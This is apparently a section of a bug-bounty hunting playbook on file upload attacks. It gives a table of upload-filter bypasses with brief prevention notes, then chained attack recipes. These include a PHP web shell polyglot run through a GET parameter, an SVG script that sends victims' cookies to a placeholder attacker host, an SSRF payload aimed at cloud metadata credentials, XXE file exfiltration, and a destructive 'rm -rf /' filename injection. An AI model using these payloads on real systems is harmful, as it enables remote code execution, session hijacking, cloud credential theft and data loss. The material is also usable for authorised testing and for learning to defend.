9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack |
How |
Prevention |
| Extension bypass |
shell.php.jpg, shell.pHp, shell.php5 |
Allowlist + extract final extension |
| Null byte |
shell.php%00.jpg |
Sanitize null bytes |
| Double extension |
shell.jpg.php |
Only allow single extension |
| MIME spoof |
Content-Type: image/jpeg with .php body |
Validate magic bytes, not MIME header |
| Magic bytes prefix |
Prepend GIF89a; to PHP code |
Parse whole file, not just header |
| Polyglot |
Valid as JPEG and PHP |
Process as image lib, reject if invalid |
| SVG JavaScript |
<svg onload="..."> |
Sanitize SVG or disallow entirely |
| XXE in DOCX |
Malicious XML in Office ZIP |
Disable external entities |
| ZIP slip |
../../../etc/passwd in archive |
Validate extracted paths |
| Filename injection |
; rm -rf / in filename |
Sanitize + use UUID names |
Magic Bytes Reference
| Type |
Hex |
| JPEG |
FF D8 FF |
| PNG |
89 50 4E 47 0D 0A 1A 0A |
| GIF |
47 49 46 38 |
| PDF |
25 50 44 46 |
| ZIP/DOCX/XLSX |
50 4B 03 04 |
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Related Skills & Chains
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.